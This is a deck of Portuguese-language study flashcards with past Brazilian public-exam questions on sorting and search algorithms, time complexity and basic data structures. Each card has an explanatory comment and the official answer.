Desenvolvimento (No Code) Flashcards

1
Q
  1. (Instituto Cidades - 2012 - TCM-GO - Auditor de Controle Externo - Informática) São exemplos de algoritmos de ordenação, exceto:

a) Bubble Sort
b) Select Sort
c) Shell Sort
d) Busca Sequencial;
e) Quick Sort;

A

Conforme vimos em aula, a Busca Sequencial não é um algoritmo de ordenação! Na verdade, ele é um método de pesquisa sobre estruturas de dados.

  1. BubbleSort(Troca)(Bolhas subindo cada vez menos): Repetidamente troca elementos adjacentes se estiverem na ordem errada.
  2. InsertionSort(Inserção)(Baralho): Insere cada elemento na posição correta dentro da parte ordenada da lista.
  3. SelectionSort(Seleção): Seleciona o menor (ou maior) elemento e o coloca na posição correta.
  4. QuickSort(Troca): Ordena dividindo a lista em sublistas ao redor de um pivô.
  5. MergeSort(Intercalação): Divide a lista em sublistas, ordena recursivamente e mescla as sublistas.
  6. HeapSort(Seleção): Constrói um heap (árvore binária) e extrai repetidamente o maior elemento para ordenar a lista.
  7. ShellSort(Inserção): Ordena elementos comparando e movendo incrementos de distância decrescentes.

Gabarito: D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q
  1. (FUMARC - 2012 - TJ-MG - Técnico Judiciário - Analista de Sistemas – I) Quicksort divide um conjunto de itens em conjuntos menores, que são ordenados de forma independe, e depois os resultados são combinados para produzir a solução de ordenação do conjunto maior.
A

Conforme vimos em aula, está perfeito! Sendo um algoritmo do tipo Dividir Para Conquistar, ele reparte o conjunto de dados em conjuntos menores, que são ordenados independentemente e depois combinados em uma solução maior.

  1. BubbleSort(Troca)(Bolhas subindo cada vez menos): Repetidamente troca elementos adjacentes se estiverem na ordem errada.
  2. InsertionSort(Inserção)(Baralho): Insere cada elemento na posição correta dentro da parte ordenada da lista.
  3. SelectionSort(Seleção): Seleciona o menor (ou maior) elemento e o coloca na posição correta.
  4. QuickSort(Troca): Ordena dividindo a lista em sublistas ao redor de um pivô.
  5. MergeSort(Intercalação): Divide a lista em sublistas, ordena recursivamente e mescla as sublistas.
  6. HeapSort(Seleção): Constrói um heap (árvore binária) e extrai repetidamente o maior elemento para ordenar a lista.
  7. ShellSort(Inserção): Ordena elementos comparando e movendo incrementos de distância decrescentes.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q
  1. (CESPE - 2012 - MPE-PI - Analista Ministerial - Informática - Cargo 6) O heapsort é um algoritmo de ordenação em que a quantidade de elementos armazenada fora do arranjo de entrada é constante durante toda a sua execução.
A

Inicialmente, insere-se os elementos da lista em um heap.

Em seguida, fazemos sucessivas remoções do
menor elemento do heap, colocando os elementos removidos do heap de volta na lista – a lista estará então em ordem crescente.

O heapsort é um algoritmo de ordenação em que a sua estrutura auxiliar de armazenamento fora do arranjo de entrada é constante durante toda a sua execução.

Essa questão é polêmica. O arranjo tem tamanho constante, mas a quantidade de elementos é variável.

Diferente de outros algoritmos de ordenação que tem uma estrutura auxiliar de tamanho variável (assim como seus elementos), o Heap Sort tem uma estrutura auxiliar de tamanho fixo (porém a quantidade de elementos é variável).

Como é dito por Neil Dale: “A heapsort is just as efficient in terms of space; only one array is used to store the data. The heap sort requires only constante extra space”. No entanto, a questão foi dada como correta!

  1. BubbleSort(Troca)(Bolhas subindo cada vez menos): Repetidamente troca elementos adjacentes se estiverem na ordem errada.
  2. InsertionSort(Inserção)(Baralho): Insere cada elemento na posição correta dentro da parte ordenada da lista.
  3. SelectionSort(Seleção): Seleciona o menor (ou maior) elemento e o coloca na posição correta.
  4. QuickSort(Troca): Ordena dividindo a lista em sublistas ao redor de um pivô.
  5. MergeSort(Intercalação): Divide a lista em sublistas, ordena recursivamente e mescla as sublistas.
  6. HeapSort(Seleção): Constrói um heap (árvore binária) e extrai repetidamente o maior elemento para ordenar a lista.
  7. ShellSort(Inserção): Ordena elementos comparando e movendo incrementos de distância decrescentes.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q
  1. (CESPE - 2010 - ABIN - Oficial Técnico de Inteligência - Área de Suporte a Rede de Dados) A eficácia do método de ordenação rápida (quicksort) depende da escolha do pivô mais adequado ao conjunto de dados que se deseja ordenar. A situação ótima ocorre quando o pivô escolhido é igual ao valor máximo
    ou ao valor mínimo do conjunto de dados.
A

Alguns autores consideram a divisão em três subconjuntos, sendo o terceiro contendo valores iguais ao pivô.

O Melhor Caso ocorre quando o conjunto é dividido em subconjuntos de mesmo tamanho;

o Pior Caso ocorre quando o pivô corresponde a um dos extremos (menor ou maior valor). Alguns o consideram um algoritmo frágil e não-estável, com baixa tolerância a erros.

Conforme vimos em aula, a questão se refere ao pior caso!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q
  1. (CESPE - 2010 - ABIN - Oficial Técnico de Inteligência - Área de Suporte a Rede de Dados)

A estabilidade de um método de ordenação é importante quando o conjunto de dados já está parcialmente ordenado.

A

Na imagem acima, foi colocado um sinal de aspas simples e duplas apenas para diferenciá-los, mas trata-se do mesmo número.

Um algoritmo estável ordena todo o restante e não perde tempo trocando as posições de elementos que possuam chaves idênticas.

Já um algoritmo instável ordena todos os elementos, inclusive aqueles que possuem chaves idênticas (sob algum outro critério).

Conforme vimos em aula, a estabilidade é irrelevante com dados parcialmente ordenados ou não!

A estabilidade é importante quando se deseja ordenar um conjunto de dados por mais de um critério (Ex: primeiro pelas chaves e segundo por índices). Se esse não for o caso (e a questão não disse que era!), a estabilidade “não fede nem cheira”. O fato de os dados estarem parcialmente ordenados não fará diferença em termos de ordenação – ambos serão ordenados da mesma maneira.

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Administração de Dados)

A classificação interna por inserção é um método que realiza a ordenação de um vetor por meio da inserção de cada elemento em sua posição correta dentro de um subvetor classificado.

A

Conforme vimos em aula, trata-se do InsertionSort!

  1. BubbleSort(Troca)(Bolhas subindo cada vez menos): Repetidamente troca elementos adjacentes se estiverem na ordem errada.
  2. InsertionSort(Inserção)(Baralho): Insere cada elemento na posição correta dentro da parte ordenada da lista.
  3. SelectionSort(Seleção): Seleciona o menor (ou maior) elemento e o coloca na posição correta.
  4. QuickSort(Troca): Ordena dividindo a lista em sublistas ao redor de um pivô.
  5. MergeSort(Intercalação): Divide a lista em sublistas, ordena recursivamente e mescla as sublistas.
  6. HeapSort(Seleção): Constrói um heap (árvore binária) e extrai repetidamente o maior elemento para ordenar a lista.
  7. ShellSort(Inserção): Ordena elementos comparando e movendo incrementos de distância decrescentes.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q
  1. (FCC - 2009 - TRT - 15ª Região - Analista Judiciário - Tecnologia da Informação) São algoritmos de classificação por trocas apenas os métodos:

a) SelectionSort e InsertionSort.

b) MergeSort e BubbleSort.

c) QuickSort e SelectionSort.

d) BubbleSort e QuickSort.

e) InsertionSort e MergeSort.

A
  1. BubbleSort(Troca)(Bolhas subindo cada vez menos): Repetidamente troca elementos adjacentes se estiverem na ordem errada.
  2. InsertionSort(Inserção)(Baralho): Insere cada elemento na posição correta dentro da parte ordenada da lista.
  3. SelectionSort(Seleção): Seleciona o menor (ou maior) elemento e o coloca na posição correta.
  4. QuickSort(Troca): Ordena dividindo a lista em sublistas ao redor de um pivô.
  5. MergeSort(Intercalação): Divide a lista em sublistas, ordena recursivamente e mescla as sublistas.
  6. HeapSort(Seleção): Constrói um heap (árvore binária) e extrai repetidamente o maior elemento para ordenar a lista.
  7. ShellSort(Inserção): Ordena elementos comparando e movendo incrementos de distância decrescentes.

Gabarito: D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q
  1. (CESGRANRIO - 2011 - PETROBRÁS – Analista de Sistemas – I)

O tempo de pior caso do algoritmo QuickSort é de ordem menor que o tempo médio do algoritmo Bubblesort.

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

São iguais: O(n²).

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q
  1. (CESGRANRIO - 2011 - PETROBRÁS – Analista de Sistemas – II)

O tempo médio do QuickSort é O(nlog2n), pois ele usa como estrutura básica uma árvore de prioridades.

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, de fato, ele tem tempo médio O(n log n), mas ele usa como estrutura básica uma lista ou um vetor!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q
  1. (CESGRANRIO - 2011 - PETROBRÁS – Analista de Sistemas – III)

O tempo médio do QuickSort é de ordem
igual ao tempo médio do MergeSort.

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, ambos têm tempo O(n log n).

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q
  1. (CESGRANRIO - 2012 - CMB – Analista de Sistemas – III)

Em uma reunião de análise de desempenho de um sistema WEB, um programador apontou corretamente que a complexidade de tempo do algoritmo bubblesort, no pior caso, é:

a) O(1)
b) O(log n)
c) O(n)
d) O(n log n)
e) O(n2)

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, trata-se de O(n²)!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q
  1. (CESPE - 2010 – INMETRO – Analista de Sistemas) Se f é uma função de complexidade para um algoritmo F, então O(f) é considerada a complexidade assintótica ou o comportamento assintótico do algoritmo F.

Assinale a opção que apresenta somente algoritmos que possuem complexidade assintótica quando f(n) = O(n log n).

a) HeapSort e BubbleSort
b) QuickSort e InsertionSort
c) MergeSort e BubbleSort
d) InsertionSort
e) HeapSort, QuickSort e MergeSort

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, trata-se da última opção. Vejam que ele não utilizou, nessa questão, o Pior Caso.

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q
  1. (FGV - 2013 – MPE/MS – Analista de Sistemas) Assinale a alternativa que indica o algoritmo de ordenação capaz de funcionar em tempo O(n) para alguns conjuntos de entrada.

a) Selectionsort (seleção)
b) Insertionsort (inserção)
c) Merge sort
d) Quicksort
e) Heapsort

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, trata-se da segunda opção.

Gabarito: B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q
  1. (CESGRANRIO - 2010 – BACEN – Analista de Sistemas)

Uma fábrica de software foi contratada para desenvolver um produto de análise de riscos. Em determinada funcionalidade desse software, é necessário realizar a ordenação de um conjunto formado por muitos números inteiros.

Que algoritmo de ordenação oferece melhor complexidade de tempo (Big O notation) no pior caso?

a) Merge sort
b) Insertion sort
c) Bubble sort
d) Quick sort
e) Selection sort

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, trata-se da primeira opção!

Gabarito: A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q
  1. (CESPE - 2011 – FUB – Analista de Sistemas) Os métodos de ordenação podem ser classificados como estáveis ou não estáveis. O método é estável se preserva a ordem relativa de dois valores idênticos.

Alguns métodos eficientes como shellsort ou quicksort não são estáveis, enquanto alguns métodos pouco eficientes, como o método da bolha, são estáveis.

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Métodos Instáveis: SelectionSort, QuickSort,
HeapSort e ShellSort.

Portanto, item perfeito!

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas) O método de classificação Shellsort iguala-se ao método Quicksort em termos de complexidade temporal, porém é mais eficiente para quantidades pequenas a moderadas de dados.
A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Não há correlação direta entre complexidade de custo e complexidade temporal, logo eu não posso usar a função de um para calcular o outro.

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas) O método de classificação Quicksort é estável e executado em tempo linearmente dependente da quantidade de dados que estão sendo classificados.
A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

QuickSort é instável e não possui complexidade temporal linear!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q
  1. (CESPE - 2012 – BASA – Analista de Sistemas)

No método de ordenamento denominado shellsort, as comparações e as trocas são feitas conforme determinada distância entre dois elementos, de modo que, uma distância igual a 6 seria a comparação entre o primeiro elemento e o sétimo, ou entre o segundo elemento e o oitavo, e assim sucessivamente, repetindo-se esse processo até que as últimas
comparações e trocas tenham sido efetuadas e a distância tenha diminuído até chegar a 1.

A

É o algoritmo mais eficiente dentre os de ordem quadrática. Nesse método, as comparações e as trocas são feitas conforme determinada distância (gap) entre dois elementos, de modo que, se gap = 6, há comparação entre o 1º e 7º elementos ou entre o 2º e 8º elementos e assim sucessivamente, repetindo até que as últimas
comparações e trocas tenham sido efetuadas e o gap tenha chegado a 1.

Conforme vimos em aula, a questão descreveu perfeitamente o mecanismo de ordenação do Shellsort.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q
  1. (FGV - 2008 – PETROBRÁS – Analista de Sistemas) Sobre o algoritmo de ordenação heapsort, assinale a afirmação correta.

a) Utiliza ordenação por árvore de decisão, ao invés de ordenação por comparação.

b) A estrutura de dados que utiliza, chamada heap, pode ser interpretada como uma árvore binária.

c) Seu desempenho de pior caso é pior do que o do algoritmo quicksort.

d) Seu desempenho de pior caso é o mesmo da ordenação por inserção.

e) Seu desempenho de pior caso é menor do que o da ordenação por intercalação.

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

(a) Utiliza ordenação por seleção;

(b) Perfeito;

(c) Não, é melhor que o QuickSort;

(d) Não, é melhor que o InsertionSort;

(e) Não, é idêntico ao MergeSort.

Gabarito: B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q
  1. (CESGRANRIO – 2009 – BASA – Analista de Sistemas)

Com relação aos algoritmos quicksort e mergesort, o tempo de execução para o:

a) pior caso do quicksort é (n lg n).
b) pior caso do mergesort é (n2).
c) pior caso do mergesort é (n lg n).
d) caso médio do mergesort é O(lg n).
e) caso médio do quicksort é O(n2).

A

Tempo: O(n) < O(n log n) < O(n²)

Métodos Estáveis: BIM - Bub, Ins e Mer

Conforme vimos em aula, trata-se da terceira opção. Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q
  1. (CESPE – 2009 – UNIPAMPA – Analista de Sistemas)

O algoritmo quicksort, que divide uma instrução em quatro blocos diferentes de busca, é um exemplo de estrutura de ordenação de dados.

A

Conforme vimos em aula, são dois blocos diferentes de busca.

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q
  1. (CESPE - 2013 – CPRM – Analista de Sistemas)

No algoritmo de ordenação denominado quicksort, escolhe-se um ponto de referência, denominado pivô, e separam-se os elementos em dois grupos: à esquerda, ficam os elementos menores que o pivô, e à direita ficam os maiores. Repete-se esse processo para os grupos de elementos formados (esquerda e direita) até que todos os elementos estejam ordenados.

A

Esse algoritmo divide um conjunto de itens em conjuntos menores, que são ordenados de forma independente, e depois os resultados são combinados para produzir a solução de ordenação do conjunto maior.

Trata-se, portanto, de um algoritmo do tipo Divisão-e-Conquista, i.e., repartindo os dados em subgrupos, dependendo de um elemento chamado pivô.

Neste método, a lista é dividida em parte esquerda e parte direita, sendo que os elementos da parte esquerda são todos menores que os elementos da parte direita. Essa fase do processo é chamada de
partição.

Em seguida, as duas partes são ordenadas recursivamente (usando o próprio QuickSort). A lista está, portanto, ordenada corretamente!

Conforme vimos em aula, é exatamente assim!

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q
  1. (CESPE - 2013 – MPU – Analista de Sistemas)

Entre os algoritmos de ordenação e pesquisa bubble sort, quicksort e heapsort, o quicksort é considerado o mais eficiente, pois se caracteriza como um algoritmo de dividir-para-conquistar, utilizando operações de particionamento.

A

Conforme vimos em aula, o HeapSort é o mais eficiente no pior caso!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q
  1. (CESPE - 2013 – TRT/9 – Analista de Sistemas)

No método Quicksort, o pivô é responsável pelo número de partições em que o vetor é dividido. Como o pivô não pode ser um elemento que esteja repetido no vetor, o Quicksort não funciona quando há elementos repetidos.

A

O pivô não é responsável pelo número de partições em que o vetor é dividido. Ademais, ele pode sim ser um elemento que esteja repetido no vetor!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q
  1. (FCC - 2011 - TRT - 14ª Região (RO e AC) - Analista Judiciário - Tecnologia da Informação)

NÃO se trata de um método de ordenação (algoritmo):

a) inserção direta.

b) seleção direta.

c) inserção por meio de incrementos decrescentes.

d) direta em cadeias.

e) particionamento.

A

(a) Trata-se do InsertionSort;

(b) Trata-se do SelectionSort;

(c) Trata-se do ShellSort;

(d) Trata-se de um método de busca;

(e) Trata-se do QuickSort.

Portanto, é a quarta opção! Gabarito: D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q
  1. (FCC - 2016 - TRT - 23ª REGIÃO (MT) - Analista Judiciário - Tecnologia da Informação)

Utilizando um algoritmo de ordenação, percorre-se a lista dada da esquerda para a direita, comparando pares de elementos consecutivos, trocando de lugar os que estão fora da ordem. Em cada troca, o maior elemento é deslocado uma posição para a direita. Trata-se de um algoritmo de
ordenação:

a) Select Sort.

b) Insert Sort.

c) Bubble Sort.

d) Shell Sort.

e) Quick Sort.

A

O algoritmo realiza trocas de dois em dois, percorrendo todos os elementos. Como vimos, esse algoritmo é o Bubble Sort.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q
  1. (VUNESP – 2012 – TJ/SP - Analista Judiciário - Tecnologia da Informação)

Considerando o conceito de Complexidade de Algoritmos, representado por O(função), assinale a alternativa que apresenta, de
forma crescente, as complexidades de algoritmos.

a) O(2n); O(n3); O(n2); O(log2 n); O(n.log2 n).

b) O(n2); O(n3); O(2n); O(log2 n); O(n.log2 n).

c) O(n3); O(n2); O(2n); O(n.log2 n); O(log2 n).

d) O(log2 n); O(n.log2 n); O(n2); O(n3); O(2n).

e) O(n.log2 n); O(log2 n); O(2n); O(n3); O(n2).

A

Em ordem crescrente de complexidade:

O(log2 n)
O(n.log2 n)
O(n2)
O(n3)
O(2n)

Gabarito: D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q
  1. (CESPE - 2013 – TRT/MS – Analista de Sistemas)

Considerando que se deseje efetuar uma pesquisa de um valor sobre a chave primária de uma tabela de um banco de dados com uma chave primária com um tipo de campo que receba um valor inteiro e que se possa fazer essa pesquisa utilizando-se a busca sequencial ou a busca binária, assinale a opção correta.

a) O método de busca binária requer, no máximo, ln(n) comparações para determinar o elemento pesquisado, em que n é o número de registros.

b) O método de busca binária será sempre mais rápido que o método de busca sequencial, independentemente de a tabela estar ordenada com base no elemento pesquisado.

c) O método de busca sequencial requererá, no máximo, n² comparações para determinar o elemento pesquisado, em que n será o número de registros.

d) O método de busca binária sempre efetuará menos comparações que o método de pesquisa sequencial.

e) O método de busca sequencial efetuará menos comparações para encontrar o elemento pesquisado quando a tabela estiver ordenada em comparação à situação quando a tabela estiver desordenada.

A

Busca Sequencial:

  • Método:

Percorre linearmente cada elemento da lista até encontrar o item desejado ou concluir que ele não está presente.

  • Eficiência:

( O(n) ) no pior caso, onde ( n ) é o número de elementos na lista.

  • Aplicação:

Útil para listas não ordenadas ou quando não se tem conhecimento prévio sobre a organização dos dados.

  • Complexidade:

Simples de implementar e adequado para pequenas quantidades de dados.

Busca Binária:

  • Método:

Divide repetidamente uma lista ordenada pela metade, descartando a metade onde o item não pode estar até encontrar o item desejado.

  • Eficiência:

( O(\log n) ) no caso médio e no melhor caso, onde ( n ) é o número de elementos na lista. No pior caso, é ( O(n) ) se a lista não estiver ordenada.

  • Aplicação:

Eficiente para grandes conjuntos de dados ordenados, minimizando o número de comparações necessárias.

  • Complexidade: Requer que a lista esteja ordenada antes da busca, mas oferece uma busca muito mais rápida em comparação com a busca sequencial.

Considerações Finais:

  • A busca sequencial é direta, mas pode ser ineficiente para grandes conjuntos de dados.
  • A busca binária é mais eficiente, mas requer que a lista esteja ordenada e é mais complexa de implementar.
  • A escolha entre os métodos depende da natureza dos dados (ordenados ou não) e dos requisitos de desempenho do sistema.

Gabarito: A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q
  1. (CESPE - 2013 – TCE/RO – Analista de Sistemas)

Considere uma tabela de um banco de dados com chave primária e tipo de campo que receba um valor inteiro.

Ao se efetuar uma pesquisa de um valor sobre
a chave primária dessa tabela, o método de busca binária requer, no máximo, lg(n) comparações para localizar o elemento pesquisado, em que n é o número de registros.

A

A Busca Binária é um algoritmo de busca em vetores que segue o paradigma de divisão-e-conquista.

Parte-se do pressuposto de que o vetor está ordenado e realiza sucessivas divisões do espaço de busca, comparando o elemento chave com o elemento do meio do vetor.

Possui complexidade da ordem de O(log2
n), em que N é o tamanho do vetor de busca.

Conforme vimos em aula, de fato a complexidade da Busca Binária é O(log2 n).

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
30
Q
  1. (FCC – 2016 - TRT - 14ª Região (RO e AC) - Analista Judiciário - Tecnologia da Informação)

Dada uma coleção de n elementos ordenados por ordem crescente, pretende-se saber se um determinado elemento x existe nessa coleção.

Supondo que essa coleção está implementada como sendo um vetor a[0…n-1] de n elementos inteiros, utilizando-se um algoritmo de pesquisa binária, o número de vezes que a comparação x==a[i] será executada, no pior caso, é calculada por:

a) n/2.
b) n−1.
c) √n.
d) log2(n).
e) n−=2.

A

A Busca Binária é um algoritmo de busca em vetores que segue o paradigma de divisão-e-conquista.

Parte-se do pressuposto de que o vetor está ordenado e realiza sucessivas divisões do espaço de busca, comparando o elemento chave com o elemento do meio do vetor.

Possui complexidade da ordem de O(log2
n), em que N é o tamanho do vetor de busca.

Gabarito: D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
31
Q

(UFRPE – 2022 – UFRPE) Sobre algoritmos e estrutura de dados, assinale a afirmativa correta.

a) Listas encadeadas ou ligadas são estruturas de dados estáticas, o que significa que o número de nós não pode ser modificado durante a execução do programa.

b) Pilhas são estruturas de dados do tipo FIFO (first-in first-out), em que o primeiro elemento a ser inserido será o primeiro a ser retirado.

c) Árvores são estruturas de dados do tipo FIFO (first-in first-out), em que o primeiro elemento a ser inserido será o primeiro a ser retirado.

d) Filas podem ser implementadas em listas encadeadas ou em vetores.

e) Pilhas só podem ser implementadas em listas encadeadas.

A

Para começar, as listas encadeadas são estruturas de dados dinâmicas, não estáticas, permitindo que o número de nós seja modificado durante a execução do programa, contrariando a primeira afirmação. Portanto, a afirmação sobre listas encadeadas serem estáticas é incorreta.

Além disso, a caracterização das pilhas como estruturas do tipo FIFO (first-in first-out) Também está equivocada, pois na realidade elas operam segundo o princípio LIFO, em que o último elemento inserido é o primeiro a ser retirado.

Quanto às árvores, a afirmação de que operam sob o princípio FIFO é igualmente falsa, pois as árvores são estruturas hierárquicas e não sequenciais, não se enquadrando nessa descrição de operação.

Já a afirmação de que pilhas só podem ser
implementadas em listas encadeadas também não é verdadeira, visto que pilhas podem ser implementadas tanto em listas encadeadas quanto em vetores, oferecendo flexibilidade na escolha da implementação.

A única afirmação correta é a que menciona que filas podem ser implementadas em listas encadeadas ou em vetores. Esta é uma descrição acurada das possibilidades de implementação de filas, uma vez que ambas as
estruturas permitem o funcionamento adequado do modelo FIFO, no qual o primeiro elemento inserido é oprimeiro a ser retirado.

Assim, nosso gabarito é a alternativa D. (Gabarito: Letra D).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
32
Q

(CESPE/CEBRASPE – 2019 – MPC-PA) Assinale a opção que apresenta a denominação da estrutura de dados constituída por um conjunto de elementos individualizados, em que cada um dos elementos — com exceção
dos elementos inicial e final — referencia sempre outros dois, um que o antecede e outro que o sucede.

a) lista circular
b) grafo
c) lista duplamente encadeada
d) árvore
e) pilha

A

Vamos analisar item a item:

a) lista circular
Uma lista em que cada elemento referencia o outro, porém com uma diferença: o último elemento referencia o primeiro também. A questão deixa claro que quer uma estrutrua de dados em que os elementos inicial e final não estejam ligados. Falso.

b) Grafo
Estrutura de dados com um conjunto de vértices ligados entre si por arestas. Falso.

c) lista duplamente encadeada
Uma lista em que cada elemento referencia o outro em ambas as direções: um elemento referencia o anterior e o próximo, exceto os elementos inicial e final. É isso aí. Verdadeiro.

d) Árvore
Estrutura de dados em que um nó possui 1 ou mais filhos, mas cada filho possui somente um pai. Falso.

e) pilha
Estrutura de dados usando a regra LIFO, last-in first-out, ou seja, o último a entrar é o primeiro a sair. Falso.

(Gabarito: Letra C).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
33
Q

(CESPE/CEBRASPE – 2017 – TRT-7) Considere uma estrutura de dados em que cada elemento armazenado apresenta ligações de apontamento com seu sucessor e com o seu predecessor, o que possibilita que ela seja percorrida em qualquer sentido. Trata-se de

a) uma fila.
b) um grafo.
c) uma lista duplamente encadeada.
d)uma pilha.

A

Vamos analisar item a item:
a) uma fila.
Estrutura de dados que segue a lógica FIFO (first-in, first-out), ou “primeiro a entrar é o primeiro a sair”. Os elementos são inseridos no fim da fila e removidos no início. Falso.

b)um grafo.
Grafo é uma estrutura de dados com um conjunto de vértices e arestas que os ligam. Falso.

c) uma lista duplamente encadeada.
É uma estrutura de dados que armazena uma sequência de elementos que possuem ligações de apontamento, ou ponteiros, entre si, em ambas as direções. Isso permite percorrer a lista em qualquer sentido. Verdadeiro.

d) uma pilha.
Estrutura de dados que segue a lógica LIFO, ou last-in first-out, que significa “o último a entrar é o primeiro a sair”. Falso.

(Gabarito: Letra C).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
34
Q

(CESPE/CEBRASPE – 2017 – TRE-TO) A estrutura de dados que consiste no armazenamento de cada elemento em um endereço calculado a partir da aplicação de uma função sobre a chave de busca denomina-se

a) lista.
b) tabela hashing.
c) deque.
d) fila.
e) árvore binária balanceada.

A

Vamos analisar item a item:

a) lista.
Estrutura de dados que armazena uma sequência de elementos, cada um apontando para o seu sucessor na lista. Falso.

b) tabela hashing.
Estrutura de dados que permite armazenar e recuperar os elementos diretamente ou quase diretamente, por meio de uma chave de busca.

Cada elemento é armazenado em um endereço que é calculado por uma função de hash, que é aplicada sobre a chave de busca.

A função de hash gera um índice, que é um endereço do elemento na tabela.

Dessa forma, o acesso é direto, ou próximo do direto, sem precisar percorrer toda a tabela. Verdadeiro.

c) deque.
Estrutura de dados para inserir e remover tanto no início quanto no fim da estrutura. Falso.

d) fila.
Estrutura de dados que segue a lógica FIFO (first-in, first-out), ou “primeiro a entrar é o primeiro a sair”. Os elementos são inseridos no fim da fila e removidos no início. Falso.

e) árvore binária balanceada.
É uma estrutura de dados em formato de árvore. Cada nó possui, no máximo, dois filhos, e os níveis da árvore estão balanceados, o que garante eficiência nas operações de inserção, remoção e busca.

(Gabarito: Letra B)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
35
Q

(CESPE/CEBRASPE – 2017 – TRF-1) Acerca de estrutura de dados, julgue o próximo item.

A fila é uma lista de elementos em que os itens são sempre inseridos em uma das extremidades e excluídos da outra.

A

Fila é uma estrutura de dados que segue a lógica FIFO (first-in first-out) armazena elementos de forma sequencial, permitindo a inserção de novos elementos no final da estrutura e a remoção de elementos do
início. Então, está certo.

(Gabarito: Certo)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
36
Q

(CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados) O tipo de dados árvore representa organizações hierárquicas entre dados.

A

Comentários: Perfeito, observem que alguns autores tratam Tipos de Dados como sinônimo de Estruturas de Dados.

Gabarito: C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
37
Q

(CETAP - 2010 - AL-RR - Analista de Sistemas - A) Uma árvore binária é aquela que tem como conteúdo somente valores binários.

A

Não! Uma árvore binária é aquela que tem, no máximo, grau 2!

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
38
Q

(CESPE/CEBRASPE – 2017 – TRF-1) Acerca dos conceitos de árvores e grafos, julgue o item que se segue.

A soma dos graus de todos os vértices de um grafo é sempre par.

A

Um vértice é um nó do grafo. Já o grau de um vértice é o número de arestas do vértice. Cada aresta conta dois graus para a soma total, sendo um grau para cada vértice que ela conecta. Por isso, a soma será sempre par.

Gabarito: Correto.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
39
Q

(CESPE/CEBRASPE – 2020 – TJ-PA)

De acordo com a figura anterior, o procedimento

CONSULTA (x)
1 while esquerda [x] ≠ NIL
2 do x <- esquerda [x]
3 return x

realiza, na árvore, a consulta de
a) search.
b) minimum.
c) maximum.
d) successor.
e) predecessor.

A

Trata-se de uma árvore binária. Nessa estrutura, os nós filhos da esquerda sempre possuem um valor menor do que os da direita.

Os menores valores da árvore estarão à esquerda.

Dito isso, o algoritmo percorre os nós da esquerda sempre. Ou seja, vai chegar no número 2.

Significa que está procurando o menor valor da árvore. Ou seja, resposta é minimum.

(Gabarito: Letra B)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
40
Q
